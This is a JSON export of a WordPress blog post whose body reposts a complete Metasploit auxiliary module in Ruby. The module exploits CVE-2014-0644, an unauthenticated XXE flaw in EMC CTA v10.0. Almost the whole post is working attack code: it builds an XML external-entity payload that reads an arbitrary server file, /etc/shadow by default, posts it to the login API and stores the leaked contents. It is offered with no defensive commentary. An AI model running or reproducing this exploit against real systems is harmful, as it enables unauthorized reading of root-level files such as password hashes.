{"id":59285,"date":"2024-08-31T22:30:11","date_gmt":"2024-08-31T19:30:11","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180632\/emc_cta_xxe.rb.txt"},"modified":"2024-08-31T22:30:11","modified_gmt":"2024-08-31T19:30:11","slug":"emc-cta-10-0-unauthenticated-xxe-arbitrary-file-read","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/emc-cta-10-0-unauthenticated-xxe-arbitrary-file-read\/","title":{"rendered":"EMC CTA 10.0 Unauthenticated XXE Arbitrary File Read"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Exploit::Remote::HttpClient<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;EMC CTA v10.0 Unauthenticated XXE Arbitrary File Read&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>EMC CTA v10.0 is susceptible to an unauthenticated XXE attack<br \/>that allows an attacker to read arbitrary files from the file system<br \/>with the permissions of the root user.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;Brandon Perry &lt;bperry.volatile[at]gmail.com&gt;&#8217;, #metasploit module<br \/>],<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[&#8216;CVE&#8217;, &#8216;2014-0644&#8217;],<br \/>[&#8216;EDB&#8217;, &#8216;32623&#8217;]],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2014-03-31&#8217;<br \/>))<\/p>\n<p>register_options(<br \/>[<br \/>Opt::RPORT(443),<br \/>OptBool.new(&#8216;SSL&#8217;, [true, &#8216;Use SSL&#8217;, true]),<br \/>OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8220;Base directory path&#8221;, &#8216;\/&#8217;]),<br \/>OptString.new(&#8216;FILEPATH&#8217;, [true, &#8220;The filepath to read on the server&#8221;, &#8220;\/etc\/shadow&#8221;]),<br \/>])<br \/>end<\/p>\n<p>def run<\/p>\n<p>doctype = Rex::Text.rand_text_alpha(6)<br \/>element = Rex::Text.rand_text_alpha(6)<br \/>entity = Rex::Text.rand_text_alpha(6)<\/p>\n<p>pay = %Q{&lt;?xml version=&#8221;1.0&#8243; encoding=&#8221;ISO-8859-1&#8243;?&gt;<br \/>&lt;!DOCTYPE #{doctype} [<br \/>&lt;!ELEMENT #{element} ANY &gt;<br \/>&lt;!ENTITY #{entity} SYSTEM &#8220;file:\/\/#{datastore[&#8216;FILEPATH&#8217;]}&#8221; &gt;]&gt;<br \/>&lt;Request&gt;<br \/>&lt;Username&gt;root&lt;\/Username&gt;<br \/>&lt;Password&gt;&amp;#{entity};&lt;\/Password&gt;<br \/>&lt;\/Request&gt;<br \/>}<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;uri&#8217; =&gt; normalize_uri(target_uri.path, &#8216;api&#8217;, &#8216;login&#8217;),<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;data&#8217; =&gt; pay<br \/>})<\/p>\n<p>if !res or !res.body<br \/>fail_with(Failure::UnexpectedReply, &#8220;Server did not respond in an expected way&#8221;)<br \/>end<\/p>\n<p>file = \/For input string: &#8220;(.*)&#8221;\/m.match(res.body)<\/p>\n<p>if !file or file.length &lt; 2<br \/>fail_with(Failure::UnexpectedReply, &#8220;File was unretrievable. Was it a binary file?&#8221;)<br \/>end<\/p>\n<p>file = file[1]\n<p>path = store_loot(&#8217;emc.file&#8217;, &#8216;text\/plain&#8217;, datastore[&#8216;RHOST&#8217;], file, datastore[&#8216;FILEPATH&#8217;])<\/p>\n<p>print_good(&#8220;File saved to: &#8221; + path)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClient def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;EMC CTA v10.0 Unauthenticated XXE Arbitrary File Read&#8217;,&#8216;Description&#8217; =&gt; %q{EMC CTA v10.0 is susceptible to an unauthenticated XXE attackthat allows an attacker to read arbitrary files from the file systemwith the permissions of the root user.},&#8216;License&#8217; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59285","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59285","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59285"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59285\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59285"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59285"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59285"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}